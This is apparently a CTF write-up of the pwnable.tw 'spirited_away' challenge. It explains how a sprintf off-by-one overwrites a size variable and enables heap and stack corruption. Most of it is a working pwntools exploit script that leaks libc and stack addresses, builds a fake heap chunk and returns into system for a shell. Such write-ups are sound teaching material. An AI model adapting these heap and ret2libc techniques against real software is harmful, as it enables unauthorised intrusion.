ntype.club

spirited away

feeding a one-byte overflow

int choice = 0; //0x804a068
int count = 0;

void survey()
{
    char message[0x38]; //ebp - 0xe8
    uint size = 0x3c; //ebp-0xb0

    char loc[0x50]; //ebp - 0xa8
    int user; //ebp - 0x58
    void *note; //ebp - 0x54
    char loc2[0x50]; //ebp - 0x50

begin:
    memset(loc, 0, 0x50);
    count++;

    note = malloc(0x3c);
    printf("enter your name");
    read(0, note, size);
    printf("enter your age");
    scanf("%d", &user);
    printf("why did you come");
    read(0, loc2, 0x50);
    printf("comment");
    read(0, loc, size); //length can be overwritten

    printf("Name %s", note);
    printf("Age %d", user);
    printf("Reason %s", loc2);
    printf("Comment %s", loc); 

    sprintf(message, "%d comment so far. We will review them as soon as we can", count);
    puts(message);
    
    if(count > 200) {
        puts("200 comments is enough");
        exit();
    }

    while(1) {
        printf("Would you like to leave another comment");
        read(0, choice, 3);
        if(choice == 'y' || choice == 'Y') {
            free(note);
            goto begin;
        } else if(choice == 'n' || choice == 'N') {
            puts("Bye");
            break;
        } else {
            puts("Wrong choice");
        }
    }
}

After 100 comments have been created the sprintf will overwrite the size variable with the last character of the message ‘n’ (0x6e). Overwriting note and the subsequent free-malloc gives a arbitrary pointer. Position this just under the return address to get shell.

from pwn import *

#sh = process('./spirited_away')
sh = remote('chall.pwnable.tw', 10204)
pause();

def leak(sh, filler):
    ll = len(filler) + 1
    sh.sendlineafter('name:', b'zzzz')
    sh.sendlineafter('age:', b'1')
    sh.sendlineafter('movie?', filler)
    sh.sendlineafter('comment:', b'zzzz')

    sh.recvuntil('Reason: ')
    val = sh.recvuntil('Comment: ')
    return val[ll:ll+4]

def spam(sh):
    for ii in range(0,100):
        print("spam " + str(ii))
        sh.sendlineafter('<y/n>:', b'y')
        sh.sendlineafter('Please enter your name:', b'')
        sh.sendlineafter('Please enter your age:', b'1')
        sh.sendlineafter('Why did you came to see this movie?', b'zzz')
        sh.sendlineafter('Please enter your comment:', b'')
        sh.recvuntil('Would you like to leave another comment?')

def fake(sh, retaddr):
    writeto = retaddr - 0x4c
    header = p32(0) + p32(0x41) + b'A' * 0x38 + p32(0) + p32(0x1009)
    comment = b'A' * 0x48

    sh.sendlineafter('<y/n>:', b'y')
    sh.sendlineafter('name:', b'zzzz')
    sh.sendlineafter('age:', b'1')
    sh.sendlineafter('movie?', header)
    sh.sendlineafter('comment:', comment + b'A' * 0x0c + p32(writeto))

def exp(sh, sys, ext, dash):
    over = b'A'*0x4c + p32(sys) + p32(ext) + p32(dash) 

    sh.sendlineafter('<y/n>:', b'y')
    sh.sendlineafter('name:', over)
    sh.sendlineafter('age:', b'1')
    sh.sendlineafter('movie?', b'zzz')
    sh.sendlineafter('comment:', b'zzz')

    sh.sendlineafter('comment? <y/n>:', b'n')

soff = 0x3a940
eoff = 0x2e7b0
shoff = 0x158e8b

libc = u32(leak(sh, b'A' * 0x1F)) - 0x1b0d60
print("LIBC " + hex(libc))
sh.sendlineafter('comment? <y/n>:', b'y')
stk = u32(leak(sh, b'A' * 0x37)) - 0x1c
print("STK " + hex(stk))

spam(sh)
fake(sh, stk)
exp(sh, libc+soff, libc+eoff, libc+shoff)
sh.interactive()